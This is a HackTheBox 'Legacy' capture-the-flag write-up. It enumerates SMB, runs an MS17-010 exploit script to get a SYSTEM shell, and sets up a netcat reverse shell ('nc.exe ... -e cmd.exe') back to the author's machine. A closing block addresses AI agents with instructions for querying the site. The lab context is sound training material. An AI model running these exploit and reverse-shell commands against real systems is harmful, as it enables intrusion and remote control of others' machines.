# HTB - Legacy ![Legacy](/files/-M24is92UanWIOl8HhOA) ## Getting Root: 1. The box has **smb** and **rdp** ports opened 2. Enumerating the smb service shows that the box is vulnerable to **MS08-067** and **MS17-010** 3. I found some exploits on searchsploit for **MS08-067** but they were not very reliable so I decided to go for **MS17-010** 4. Exploiting **MS17-010** provides us a shell with system privileges. ### Tools Used: **`nmap`** ## Nmap ``` nmap -sC -sV -p- 10.10.10.4 Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-10 12:54 EDT Nmap scan report for 10.10.10.4 Host is up (0.038s latency). Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows XP microsoft-ds 3389/tcp closed ms-wbt-server Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp Host script results: |_clock-skew: mean: 5d01h00m04s, deviation: 1h24m51s, median: 5d00h00m04s |_nbstat: NetBIOS name: LEGACY, NetBIOS user: , NetBIOS MAC: 00:50:56:b9:5c:22 (VMware) | smb-os-discovery: | OS: Windows XP (Windows 2000 LAN Manager) | OS CPE: cpe:/o:microsoft:windows_xp::- | Computer name: legacy | NetBIOS computer name: LEGACY\x00 | Workgroup: HTB\x00 |_ System time: 2020-03-15T20:56:49+02:00 | smb-security-mode: | account_used: | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smb2-time: Protocol negotiation failed (SMB2) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 162.86 seconds ``` ## Checking for SMB Vulnerabilities ``` nmap --script vuln -p 139,445,3389 10.10.10.4 Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-10 12:59 EDT Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Nmap scan report for 10.10.10.4 Host is up (0.038s latency). PORT STATE SERVICE 139/tcp open netbios-ssn |_clamav-exec: ERROR: Script execution failed (use -d to debug) 445/tcp open microsoft-ds |_clamav-exec: ERROR: Script execution failed (use -d to debug) 3389/tcp closed ms-wbt-server Host script results: |_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED | smb-vuln-cve2009-3103: | VULNERABLE: | SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497) | State: VULNERABLE | IDs: CVE:CVE-2009-3103 | Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2, | Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a | denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE | PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location, | aka "SMBv2 Negotiation Vulnerability." | | Disclosure date: 2009-09-08 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103 |_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103 | smb-vuln-ms08-067: | VULNERABLE: | Microsoft Windows system vulnerable to remote code execution (MS08-067) | State: LIKELY VULNERABLE | IDs: CVE:CVE-2008-4250 | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary | code via a crafted RPC request that triggers the overflow during path canonicalization. | | Disclosure date: 2008-10-23 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 |_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx |_smb-vuln-ms10-054: false |_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug) | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2017-03-14 | References: | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx | https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 Nmap done: 1 IP address (1 host up) scanned in 45.76 seconds ``` ## Getting a Shell Found a python script on searchsploit for **MS08-067** but it didn't do anything. ``` searchsploit ms08-067 Exploit Title Microsoft Windows - 'NetAPI32.dll' Code Execution (Python) (MS08-067) ``` I moved on to **MS17-010** and I was able to find the following code on GitHub: {% embed url="" %} ### Got a shell as SYSTEM ``` # python zzz_exploit.py 10.10.10.4 [*] Target OS: Windows 5.1 [+] Found pipe 'browser' [+] Using named pipe: browser Groom packets attempt controlling next transaction on x86 success controlling one transaction modify parameter count to 0xffffffff to be able to write backward leak next transaction CONNECTION: 0x8206dda8 SESSION: 0xe21919c8 FLINK: 0x7bd48 InData: 0x7ae28 MID: 0xa TRANS1: 0x78b50 TRANS2: 0x7ac90 modify transaction struct for arbitrary read/write [*] make this SMB session to be SYSTEM [+] current TOKEN addr: 0xe1ab49e8 userAndGroupCount: 0x3 userAndGroupsAddr: 0xe1ab4a88 [*] overwriting token UserAndGroups [*] have fun with the system smb session! [!] Dropping a semi-interactive shell (remember to escape special chars with ^) [!] Executing interactive programs will hang shell! C:\WINDOWS\system32> ``` ## Upgrading the shell The shell is not very stable, so I decided to get a more liable shell using netcat. ```bash # Starts and smbserver using impacket smbserver.py share /root/HackTheBox/legacy/www/ # copy nc.exe to the share folder cp nc.exe /root/hackTheBox/legacy/www # On the target box net use z: \\10.10.14.3\share copy z:\\nc.exe C:\Windows\system32 # On my kali box, I started a listenner nc -lnvp 9001 #On the target box C:\WINDOWS\system32>.\nc.exe 10.10.14.3 9001 -e cmd.exe ``` ## System Info ```bash C:\Documents and Settings>systeminfo systeminfo Host Name: LEGACY OS Name: Microsoft Windows XP Professional OS Version: 5.1.2600 Service Pack 3 Build 2600 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Workstation OS Build Type: Uniprocessor Free Registered Owner: user Registered Organization: HTB Product ID: 55274-643-7213323-23904 Original Install Date: 16/3/2017, 7:32:23 �� System Up Time: 0 Days, 0 Hours, 17 Minutes, 7 Seconds System Manufacturer: VMware, Inc. System Model: VMware Virtual Platform System type: X86-based PC Processor(s): 1 Processor(s) Installed. [01]: x86 Family 23 Model 1 Stepping 2 AuthenticAMD ~1998 Mhz BIOS Version: INTEL - 6040000 Windows Directory: C:\WINDOWS System Directory: C:\WINDOWS\system32 Boot Device: \Device\HarddiskVolume1 System Locale: en-us;English (United States) Input Locale: en-us;English (United States) Time Zone: (GMT+02:00) Athens, Beirut, Istanbul, Minsk Total Physical Memory: 511 MB Available Physical Memory: 340 MB Virtual Memory: Max Size: 2.048 MB Virtual Memory: Available: 2.003 MB Virtual Memory: In Use: 45 MB Page File Location(s): C:\pagefile.sys Domain: HTB Logon Server: N/A Hotfix(s): 1 Hotfix(s) Installed. [01]: Q147222 NetWork Card(s): 1 NIC(s) Installed. [01]: VMware Accelerated AMD PCNet Adapter Connection Name: Local Area Connection DHCP Enabled: No IP address(es) [01]: 10.10.10.4 ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://squid22.gitbook.io/notes/htb-writeups/writeups/htb-legacy.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.